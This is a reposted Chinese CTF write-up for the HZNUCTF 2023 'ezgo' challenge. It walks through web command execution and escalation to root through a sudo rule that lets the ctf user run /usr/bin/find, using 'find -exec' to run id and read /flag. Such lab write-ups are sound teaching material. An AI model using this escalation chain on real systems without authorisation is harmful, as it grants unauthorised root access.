当前位置: 首页 > news >正文

SUDO提权

Sudo 提权

向大佬致敬,太厉害了,四个月全勤,估计是写完题顺带写了wp

image-20250922212920305

[HZNUCTF 2023 final]ezgo

解题思路

Please POST 'shit' to /cmd

初始页面提示,post传参shit到/cmd路由

执行 shit=ls

"ls": executable file not found in $PATH
  • 系统默认的 $PATH 环境变量配置异常,无法直接找到 ls 等常用命令;
  • 必须使用绝对路径(如 /bin/ls)才能执行命令。

执行 shit=echo /bin/* 列出 /bin 目录下的所有可执行文件

/bin/bash /bin/cat /bin/chgrp /bin/chmod /bin/chown /bin/cp /bin/dash /bin/date /bin/dd /bin/df /bin/dir /bin/dmesg /bin/dnsdomainname /bin/domainname /bin/echo /bin/egrep /bin/false /bin/fgrep /bin/findmnt /bin/grep /bin/gunzip /bin/gzexe /bin/gzip /bin/hostname /bin/ln /bin/login /bin/ls /bin/lsblk /bin/mkdir /bin/mknod /bin/mktemp /bin/more /bin/mount /bin/mountpoint /bin/mv /bin/nisdomainname /bin/pidof /bin/pwd /bin/rbash /bin/readlink /bin/rm /bin/rmdir /bin/run-parts /bin/sed /bin/sh /bin/sleep /bin/stty /bin/su /bin/sync /bin/tar /bin/tempfile /bin/touch /bin/true /bin/umount /bin/uname /bin/uncompress /bin/vdir /bin/wdctl /bin/ypdomainname /bin/zcat /bin/zcmp /bin/zdiff /bin/zegrep /bin/zfgrep /bin/zforce /bin/zgrep /bin/zless /bin/zmore /bin/znew

通过/bin/bash -c "ls -l"查看根目录(通过bash -c执行复杂命令),发现/flag文件(权限为 400,仅 root 可读)

total 11300
drwxr-xr-x   2 root root     4096 Mar 20  2023 bin
drwxr-xr-x   2 root root     4096 Dec  9  2022 boot
drwxr-xr-x   5 root root      340 Sep 22 11:47 dev
drwxr-xr-x   1 root root     4096 Sep 22 11:47 etc
-r--------   1 root root       45 Sep 22 11:47 flag
drwxr-xr-x   2 root root     4096 Dec  9  2022 home
...
-rwxr-xr-x   1 root root      181 Apr  3  2023 start.sh

读取start.sh脚本,获取系统配置细节:

  • flag 被写入/flag并设置了严格权限
  • 创建了ctf用户
  • 配置了 sudo 规则:允许 ctf 用户免密以 root 身份执行/usr/bin/find
#! /bin/bashecho $FLAG > /flag
chmod 400 /flag
useradd ctf
echo "ctf ALL=(root) NOPASSWD: /usr/bin/find" > /etc/sudoers.d/ctf && chmod 0440 /etc/sudoers.d/ctfsu - ctf -c "/main"

sudo -l验证权限配置

执行shit=/bin/bash -c "sudo -l",得到关键输出:

(root) NOPASSWD: /usr/bin/find:当前用户可免密码root 身份执行 /usr/bin/find 命令。

这是整个提权的核心漏洞点:find 命令可通过 -exec 参数执行其他命令,且继承 sudoroot 权限。

Matching Defaults entries for ctf on 7404fc8b50be4421:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser ctf may run the following commands on 7404fc8b50be4421:(root) NOPASSWD: /usr/bin/find

执行 shit=/bin/bash -c "sudo find /flag -exec id \;"

  • sudo find /flag:以 root 身份查找 /flag 文件;
  • -exec id \;:找到文件后执行 id 命令,输出 uid=0(root),确认已获得 root 权限。
uid=0(root) gid=0(root) groups=0(root)

执行sudo find /flag -exec cat flag \;,以 root 权限读取/flag内容

NSSCTF{042deeef-b178-40a7-bc9f-6ab66b11f5a2}

知识点提取

$PATH 环境变量机制:

  • Linux 执行命令时会默认在 $PATH 定义的目录列表中搜索可执行文件,若配置异常(如未包含 /bin/usr/bin),直接输入命令(如 ls)会提示 “executable file not found”。
  • 绕过方案:使用绝对路径(如 /bin/ls/bin/bash)直接指定命令位置,不受 $PATH 配置影响。

环境信息收集技巧

通过 echo /bin/* 等通配符命令可快速列出目标目录下的可执行文件,确认系统中可用的核心工具(如 bashcatsudo

Sudo 权限管理与漏洞点识别

  1. sudo 核心作用:允许普通用户临时以其他用户(默认 root)身份执行命令,权限范围由 /etc/sudoers/etc/sudoers.d/ 下的配置文件定义。

  2. sudo 权限探测命令sudo -l 可列出当前用户的 sudo 权限范围,无需实际执行高权限命令即可获取权限边界,是渗透测试中权限探测的 “黄金命令”。

  3. 关键漏洞点:sudo 过度授权:

    配置 ctf ALL=(root) NOPASSWD: /usr/bin/find 属于典型的 “过度授权” 漏洞:允许普通用户 ctf 以 root 身份免密执行 find 命令。

Sudo + find 提权原理与实践

  1. find 命令的特殊参数:-execfind 命令的 -exec 参数支持在找到符合条件的文件后,额外执行指定命令,语法为 find [目标路径/文件] -exec [待执行命令] \;\; 是参数结束标志)。
  2. 提权核心逻辑:当 find 通过 sudo 以 root 身份运行时,-exec 后续的命令会继承 root 权限,实现 “普通用户→sudo 调用 find→root 权限执行任意命令” 的提权链。
  3. 提权验证与利用流程:
    • 权限验证:通过 sudo find /flag -exec id \; 执行 id 命令,若输出 uid=0(root),则确认提权成功。
    • 目标达成:通过 sudo find /flag -exec cat /flag \; 调用 cat 命令读取 root 权限的 /flag 文件,获取最终目标。
http://www.rkmt.cn/news/9860.html

相关文章:

  • 越南文识别技术:将纸质文档和信息快速、准确地转化为可编辑、可检索的数字数据
  • C#编程练习:使用队列存储消息,一次性存10条消息,每隔一段时间打印一条消息控制台打印消息时要有明显停顿感 - 详解
  • 23
  • Automatically Naming the Screenshots to Steam
  • 穷举法(c语言版)
  • 详细介绍:深入理解Kafka事务
  • Python - GaussDB table sync to Hive
  • 很烦不知道 自己以后要做什么,工作不会很稳定。感觉有很多东西要学习 但是 也有很多东西 不会 不知道咋办了
  • 揭秘“牛牛透视”
  • 从 Web 到 LLM,多入口、多链路的自动化威胁如何防护? - 详解
  • 【mysql】mysql5.6 版本修改用户的登录
  • 0.5*8 边形 != 式
  • [Paper Reading] METAGPT: META PROGRAMMING FOR A MULTI-AGENT COLLABORATIVE FRAMEWORK
  • 四舍六入五成双
  • 借助 Apache Phoenix,使用标准 SQL 和 JDBC 接口来操作 HBase
  • 9月22日
  • 20250922
  • 基于springboot的图书进销存管理系统 - 详解
  • react+antdesign达成后台管理系统面包屑
  • 详细介绍:深入理解 JVM 字节码文件:从组成结构到 Arthas 工具实践
  • (1-10-2)MyBatis 进阶篇 - 教程
  • Spark 性能优化全攻略:内存管理、shuffle 优化与参数调优 - 详解
  • 如何隐藏一个元素
  • 软工9.22
  • 在控制台执行可列出所有placeholder样式
  • 对于一门古老东欧玄学的初步研究的简要报告
  • Java学习笔记:从三个实验看编程思维的锤炼
  • 完整教程:App 上架平台全解析,iOS 应用发布流程、苹果 App Store 审核步骤
  • 题解:AT_arc068_d [ARC068F] Solitaire
  • Codeforces Round 1051 (Div. 2) D1D2题解